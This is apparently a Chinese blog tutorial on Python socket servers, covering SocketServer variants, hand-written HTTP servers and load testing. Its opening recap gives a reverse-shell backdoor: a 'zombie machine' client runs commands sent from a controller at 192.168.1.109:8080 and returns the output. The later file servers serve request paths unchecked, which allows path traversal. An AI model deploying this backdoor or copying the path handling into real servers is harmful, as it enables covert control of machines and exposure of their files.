上節寫了個端口掃描器,此次寫個ShellCode
回顧下上節內容html
肉雞端:python
#!/usr/bin/env python3
import sys
import subprocess
from socket import socket
def exec(cmd):
try:
process = subprocess.Popen([cmd],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
return process.communicate()
except Exception as ex:
print(ex)
def main():
# 不寫死是防止遠程服務器被封后就失效
ip = "192.168.1.109" or sys.argv[1]
with socket() as tcp_socket:
# 鏈接遠控服務器
tcp_socket.connect((ip, 8080))
while True:
data = tcp_socket.recv(2048)
if data:
cmd = data.decode("utf-8")
stdout, stderr = exec(cmd)
if stderr:
tcp_socket.send(stderr)
if stdout:
tcp_socket.send(stdout)
if __name__ == "__main__":
main()
服務端:web
from socket import socket
def main():
with socket() as tcp_socket:
tcp_socket.bind(('', 8080))
tcp_socket.listen()
client_socket, client_addr = tcp_socket.accept()
with client_socket:
print(f"[肉雞{client_addr}已經上線:]\n")
while True:
cmd = input("$ ")
client_socket.send(cmd.encode("utf-8"))
data = client_socket.recv(2048)
if data:
print(data.decode("utf-8"))
if __name__ == "__main__":
main()
演示效果: shell
可能有人會說,肉雞設置爲Server,本身遠控登陸貌似更簡單吧?可是有沒有想過:編程
課後拓展:瀏覽器
如何建立反向Shell來執行遠程Root命令 http://os.51cto.com/art/201312/424378.htm
上節留下了一個懸念:有沒有更方便的方式來實現服務端?此次揭曉一下:服務器
Python底層其實基於Select
實現了一套SocketServer
,下面來看看:(如今大部分都是epoll
和aio
)網絡
SocketServer
官方圖示以及一些經常使用方法:多線程
+------------+
| BaseServer |
+------------+
|
v
+-----------+ +------------------+
| TCPServer |------->| UnixStreamServer |
+-----------+ +------------------+
|
v
+-----------+ +--------------------+
| UDPServer |------->| UnixDatagramServer |
+-----------+ +--------------------+
__all__ = ["BaseServer", "TCPServer", "UDPServer",
"ThreadingUDPServer", "RequestHandler",
"BaseRequestHandler", "StreamRequestHandler",
"DatagramRequestHandler", "ThreadingMixIn"]
Python所有封裝好了,只要繼承下BaseRequestHandler
本身定義一下handle
處理方法便可:併發
from socketserver import BaseRequestHandler, TCPServer
class MyHandler(BaseRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]\n")
data = self.request.recv(2048)
if data:
print(data.decode("utf-8"))
self.request.send(b'HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Test</h1>')
def main():
with TCPServer(('', 8080), MyHandler) as server:
server.serve_forever() # 期待服務器並執行自定義的Handler方法
# 不啓動也可使用client_socket, client_address = server.get_request()來自定義處理
if __name__ == "__main__":
main()
效果以下:
換個處理器也是很方便的事情,好比這個類文件IO的案例:
SocketServer.StreamRequestHandler
中對客戶端發過來的數據是用rfile
屬性來處理的,rfile
是一個類file對象
.有緩衝.能夠按行分次讀取;發往客戶端的數據經過wfile
屬性來處理,wfile
不緩衝數據,對客戶端發送的數據需一次性寫入.
服務器:
from time import sleep
from socketserver import TCPServer, StreamRequestHandler
class MyHandler(StreamRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]\n")
# 接受來自客戶端的IO流( 相似於打開IO,等待對方寫)
# self.rfile = self.request.makefile('rb', self.rbufsize)
for line in self.rfile: # 阻塞等
print(f"接受到的數據:{line}")
# 發送給客戶端(相似於寫給對方)
self.wfile.write(line)
sleep(0.2) # 爲了演示方便而加
def main():
with TCPServer(('', 8080), MyHandler) as server:
server.serve_forever()
if __name__ == "__main__":
main()
客戶端:
from time import sleep
from socket import socket, SOL_SOCKET, SO_REUSEADDR
def main():
with socket() as tcp_socket:
tcp_socket.connect(('', 8080))
with open("1.tcp.py", "rb") as fs:
while True:
data = fs.readline()
if data:
tcp_socket.send(data)
else:
break
while True:
data = tcp_socket.recv(2048)
if data:
print(data.decode("utf-8"))
sleep(0.2) # 爲了演示方便而加
if __name__ == "__main__":
main()
輸出:(一行一行顯示出來)
其實還能夠經過設置其餘的類變量來支持一些新的特性:
import socket
from socketserver import TCPServer, StreamRequestHandler
class MyHandler(StreamRequestHandler):
# 可選設置(下面的是默認值)
timeout = 5 # 全部socket超時時間
rbufsize = -1 # 讀緩衝區大小
wbufsize = 0 # 寫緩衝區大小
disable_nagle_algorithm = False # 設置TCP無延遲選項
def handle(self):
print(f"[來自{self.client_address}的消息:]\n")
# 接受來自客戶端的IO流(相似於打開IO,等待對方寫)
try:
for line in self.rfile: # 阻塞等
print(f"接受到的數據:{line}")
# 發送給客戶端(相似於寫給對方)
self.wfile.write(line)
except socket.timeout as ex:
print("---" * 10, "網絡超時", "---" * 10)
print(ex)
print("---" * 10, "網絡超時", "---" * 10)
def main():
with TCPServer(('', 8080), MyHandler) as server:
server.serve_forever()
if __name__ == "__main__":
main()
效果:
業餘拓展:
http://a564941464.iteye.com/blog/1170464 https://www.cnblogs.com/txwsqk/articles/2909546.html https://blog.csdn.net/tycoon1988/article/details/39990403 https://hg.python.org/cpython/file/tip/Lib/socketserver.py
上面說的方法是最基礎的,也是單線程的,對於如今這個高併發的時代確定是吃不消的,那有沒有併發模式的呢?
先結合之前併發編程來個案例:(改爲多進程也行,Nginx
就是多進程的)
from multiprocessing.dummy import threading
from socketserver import TCPServer, BaseRequestHandler
class MyHandler(BaseRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]\n")
data = self.request.recv(2048)
if data:
print(data.decode("utf-8"))
self.request.send(
"HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server</h1>".encode("utf-8"))
if __name__ == "__main__":
with TCPServer(('', 8080), MyHandler) as server:
for _ in range(10): # 指定線程數
t = threading.Thread(target=server.serve_forever)
t.setDaemon(True)
t.start()
server.serve_forever()
使用Python封裝的方法:(還記得開頭貼的一些方法名和類名嗎?__all__ = [...]
)
多線程版:(變TCPServer
爲ThreadingTCPServer
)
from socketserver import ThreadingTCPServer, BaseRequestHandler
class MyHandler(BaseRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]\n")
data = self.request.recv(2048)
if data:
print(data.decode("utf-8"))
self.request.send(
"HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Threading</h1>".encode("utf-8"))
if __name__ == "__main__":
with ThreadingTCPServer(('', 8080), MyHandler) as server:
server.serve_forever()
多進程版:(變TCPServer
爲ForkingTCPServer
)
from socketserver import ForkingTCPServer, BaseRequestHandler
class MyHandler(BaseRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]\n")
data = self.request.recv(2048)
if data:
print(data.decode("utf-8"))
self.request.send(
"HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Forking</h1>".encode("utf-8"))
if __name__ == "__main__":
with ForkingTCPServer(('', 8080), MyHandler) as server:
server.serve_forever()
雖然簡單了,可是有一個注意點:
使用fork或線程服務器有個潛在問題就是它們會爲每一個客戶端鏈接建立一個新的進程或線程。 因爲客戶端鏈接數是沒有限制的,DDOS可能就須要注意了
若是你擔憂這個問題,你能夠建立一個預先分配大小的工做線程池或進程池。你先建立一個普通的非線程服務器,而後在一個線程池中使用
serve_forever()
方法來啓動它們(也就是咱們一開始結合併發編程舉的例子
)
UDP的就簡單提一下,來看個簡單案例:
服務器:
from socketserver import UDPServer, BaseRequestHandler
class MyHandler(BaseRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]\n")
data, socket = self.request
with socket:
if data:
print(data.decode("utf-8"))
socket.sendto("行啊,小張晚上我請你吃~".encode("utf-8"), self.client_address)
def main():
with UDPServer(('', 8080), MyHandler) as server:
server.serve_forever()
if __name__ == "__main__":
main()
客戶端:
from socket import socket, AF_INET, SOCK_DGRAM
def main():
with socket(AF_INET, SOCK_DGRAM) as udp_socket:
udp_socket.sendto("小明,今晚去喝碗羊肉湯?".encode("utf-8"), ('', 8080))
data, addr = udp_socket.recvfrom(1024)
print(f"[來自{addr}的消息:]\n")
if data:
print(data.decode("utf-8"))
if __name__ == "__main__":
main()
演示:(想要多線程或者多進程就本身改下名字便可,很簡單)
上面使用了Python
幫咱們封裝的服務器,如今手寫一個簡單版的Server
:
from socket import socket
def main():
with socket() as tcp_socket:
# 綁定端口
tcp_socket.bind(('', 8080))
# 監聽
tcp_socket.listen()
# 等待
client_socket, client_address = tcp_socket.accept()
# 收發數據
with client_socket:
print(f"[來自{client_address}的消息:\n")
msg = client_socket.recv(2048)
if msg:
print(msg.decode("utf-8"))
client_socket.send(
"""HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>哈哈哈</h1>"""
.encode("utf-8"))
if __name__ == "__main__":
main()
服務器響應:(請求頭就靠\r\n\r\n
來分隔了)
瀏覽器請求:(charset=utf-8
)
from socket import socket, SOL_SOCKET, SO_REUSEADDR
def main():
with socket() as tcp_socket:
# 防止端口占用
tcp_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# 綁定端口
tcp_socket.bind(('', 8080))
# 監聽
tcp_socket.listen()
# 等待
client_socket, client_address = tcp_socket.accept()
# 收發消息
with client_socket:
print(f"[來自{client_address}的消息:\n")
msg = client_socket.recv(2048)
if msg:
print(msg.decode("utf-8"))
client_socket.send(
"""HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>哈哈哈</h1>"""
.encode("utf-8"))
if __name__ == "__main__":
main()
from socket import SOL_SOCKET, SO_REUSEADDR
from socketserver import ThreadingTCPServer, BaseRequestHandler
class MyHandler(BaseRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]")
data = self.request.recv(2048)
print(data)
self.request.send(
"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>小明,晚上吃魚湯嗎?</h1>"
.encode("utf-8"))
def main():
# bind_and_activate=False 手動綁定和激活
with ThreadingTCPServer(('', 8080), MyHandler, False) as server:
# 防止端口占用
server.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
server.server_bind() # 本身綁定
server.server_activate() # 本身激活
server.serve_forever()
if __name__ == "__main__":
main()
解決前:
解決後:
這個就涉及到TCP4次揮手
相關的內容了,若是不是長鏈接,你先斷開客戶端,再斷開服務端就不會遇到這個問題了,具體問題下次繼續探討~
雖然簡化了,但有時候也會出現端口占用的狀況(不多出現
)
from socket import SOL_SOCKET, SO_REUSEADDR
from socketserver import ThreadingTCPServer, BaseRequestHandler
class MyHandler(BaseRequestHandler):
def handle(self):
print(f"[來自{self.client_address}的消息:]")
data = self.request.recv(2048)
print(data)
self.request.send(
"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>小明,晚上吃魚湯嗎?</h1>"
.encode("utf-8"))
def main():
# 防止端口占用
ThreadingTCPServer.allow_reuse_address = True
with ThreadingTCPServer(('', 8080), MyHandler) as server:
server.serve_forever()
if __name__ == "__main__":
main()
源碼比較簡單,一看就懂:
def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True):
BaseServer.__init__(self, server_address, RequestHandlerClass)
self.socket = socket.socket(self.address_family,
self.socket_type)
if bind_and_activate:
try:
# 看這
self.server_bind()
self.server_activate()
except:
self.server_close()
raise
def server_bind(self):
# 看這
if self.allow_reuse_address:
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
self.server_address = self.socket.getsockname()
下級預估:Linux 5種 IO模型
(這邊的Select
也是其中的一種)
藉着SocketServer
的靈感,再結合OOP
,來一個簡單案例:
import socket
class WebServer(object):
def __init__(self):
with socket.socket() as tcp_socket:
# 防止端口占用
tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 綁定端口
tcp_socket.bind(('', 8080))
# 監聽
tcp_socket.listen()
# 等待客戶端鏈接
while True:
self.client_socket, self.client_addr = tcp_socket.accept()
self.handle()
def handle(self):
with self.client_socket:
print(f"[來自{self.client_addr}的消息:")
data = self.client_socket.recv(2048)
if data:
print(data.decode("utf-8"))
self.client_socket.send(
b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>Web Server Test</h1>"
)
if __name__ == "__main__":
WebServer()
效果:
下面就本身手寫幾種服務器並測試一下,先貼結果再細看
安裝:sudo apt install jmeter
使用三步走:
額外說下開始的配置:
對上面服務器簡單測試下:(實際結果只會比我老電腦性能高)
import os
import re
import socketserver
class MyHandler(socketserver.BaseRequestHandler):
# 處理請求
def handle(self):
with self.request:
print(f"[來自{self.client_address}的消息:")
data = self.request.recv(2048)
if data:
msg, _ = data.decode("utf-8").split("\r\n", 1)
self.respose(msg)
# 相應瀏覽器
def respose(self, msg):
# GET (/xxx.html) HTTP/1.1
# 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
filename = "/index.html"
ret = re.match("^[^/]+(/[^ ]*).+$", msg)
if ret:
page = ret.group(1) # 請求頁面
if not page == "/":
filename = page
# 獲取本地文件
data = self.read_file(filename)
# 回覆瀏覽器
self.request.send(
b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
)
self.request.send(data)
# 獲取本地文件內容
def read_file(self, filename):
print("請求頁面:", filename)
path = f"./root{filename}"
# 沒有這個文件就定位到404頁面
if not os.path.exists(path):
path = "./root/404.html"
print("本地路徑:", path)
# 讀取頁面並返回
with open(path, "rb") as fs:
return fs.read()
if __name__ == "__main__":
socketserver.ThreadingTCPServer.allow_reuse_address = True
with socketserver.ThreadingTCPServer(('', 8080), MyHandler) as server:
server.serve_forever()
import os
import re
import socket
from multiprocessing import Process
class WebServer(object):
def __init__(self):
with socket.socket() as tcp_socket:
# 防止端口占用
tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 綁定端口
tcp_socket.bind(('', 8080))
# 監聽
tcp_socket.listen()
# 等待客戶端鏈接
while True:
self.client_socket, self.client_addr = tcp_socket.accept()
t = Process(target=self.handle)
t.daemon = True
t.run()
# 處理請求
def handle(self):
with self.client_socket:
print(f"[來自{self.client_addr}的消息:")
data = self.client_socket.recv(2048)
if data:
msg, _ = data.decode("utf-8").split("\r\n", 1)
self.respose(msg)
# 相應瀏覽器
def respose(self, msg):
# GET (/xxx.html) HTTP/1.1
# 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
filename = "/index.html"
ret = re.match("^[^/]+(/[^ ]*).+$", msg)
if ret:
page = ret.group(1) # 請求頁面
if not page == "/":
filename = page
# 獲取本地文件
data = self.read_file(filename)
# 回覆瀏覽器
self.client_socket.send(
b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
)
self.client_socket.send(data)
# 獲取本地文件內容
def read_file(self, filename):
print("請求頁面:", filename)
path = f"./root{filename}"
# 沒有這個文件就定位到404頁面
if not os.path.exists(path):
path = "./root/404.html"
print("本地路徑:", path)
# 讀取頁面並返回
with open(path, "rb") as fs:
return fs.read()
if __name__ == "__main__":
WebServer()
以前有講過multiprocessing.dummy
的Process
實際上是基於線程的,就再也不重複了
來個多線程版的:(其實就把multiprocessing.dummy
換成了multiprocessing
)
import os
import re
import socket
from multiprocessing.dummy import Process
class WebServer(object):
def __init__(self):
with socket.socket() as tcp_socket:
# 防止端口占用
tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 綁定端口
tcp_socket.bind(('', 8080))
# 監聽
tcp_socket.listen()
# 等待客戶端鏈接
while True:
self.client_socket, self.client_addr = tcp_socket.accept()
t = Process(target=self.handle)
t.daemon = True
t.run()
# 處理請求
def handle(self):
with self.client_socket:
print(f"[來自{self.client_addr}的消息:")
data = self.client_socket.recv(2048)
if data:
msg, _ = data.decode("utf-8").split("\r\n", 1)
self.respose(msg)
# 相應瀏覽器
def respose(self, msg):
# GET (/xxx.html) HTTP/1.1
# 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
filename = "/index.html"
ret = re.match("^[^/]+(/[^ ]*).+$", msg)
if ret:
page = ret.group(1) # 請求頁面
if not page == "/":
filename = page
# 獲取本地文件
data = self.read_file(filename)
# 回覆瀏覽器
self.client_socket.send(
b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
)
self.client_socket.send(data)
# 獲取本地文件內容
def read_file(self, filename):
print("請求頁面:", filename)
path = f"./root{filename}"
# 沒有這個文件就定位到404頁面
if not os.path.exists(path):
path = "./root/404.html"
print("本地路徑:", path)
# 讀取頁面並返回
with open(path, "rb") as fs:
return fs.read()
if __name__ == "__main__":
WebServer()
演示圖示:
這個比較簡單,併發編程中的協程篇有講,這邊簡單說下:
import gevent
from gevent import monkey
monkey
不在__all__
中,須要本身導入monkey.patch_all()
打個補丁gevent.spawn(方法名,參數)
import os
import re
import socket
import gevent
from gevent import monkey # monkey不在__all__中,須要本身導入
# 》》》看這
monkey.patch_all() # 打補丁
class WebServer(object):
def __init__(self):
with socket.socket() as tcp_socket:
# 防止端口占用
tcp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 綁定端口
tcp_socket.bind(('', 8080))
# 監聽
tcp_socket.listen()
# 等待客戶端鏈接
while True:
self.client_socket, self.client_addr = tcp_socket.accept()
# 》》》看這
t = gevent.spawn(self.handle)
t.daemon = True
t.run()
# 處理請求
def handle(self):
with self.client_socket:
print(f"[來自{self.client_addr}的消息:")
data = self.client_socket.recv(2048)
if data:
msg, _ = data.decode("utf-8").split("\r\n", 1)
self.respose(msg)
# 相應瀏覽器
def respose(self, msg):
# GET (/xxx.html) HTTP/1.1
# 不匹配開頭結尾也行:re.match("[^/]+(/[^ ]*).+", msg)
filename = "/index.html"
ret = re.match("^[^/]+(/[^ ]*).+$", msg)
if ret:
page = ret.group(1) # 請求頁面
if not page == "/":
filename = page
# 獲取本地文件
data = self.read_file(filename)
# 回覆瀏覽器
self.client_socket.send(
b"HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n"
)
self.client_socket.send(data)
# 獲取本地文件內容
def read_file(self, filename):
print("請求頁面:", filename)
path = f"./root{filename}"
# 沒有這個文件就定位到404頁面
if not os.path.exists(path):
path = "./root/404.html"
print("本地路徑:", path)
# 讀取頁面並返回
with open(path, "rb") as fs:
return fs.read()
if __name__ == "__main__":
WebServer()
下次會進入網絡的深刻篇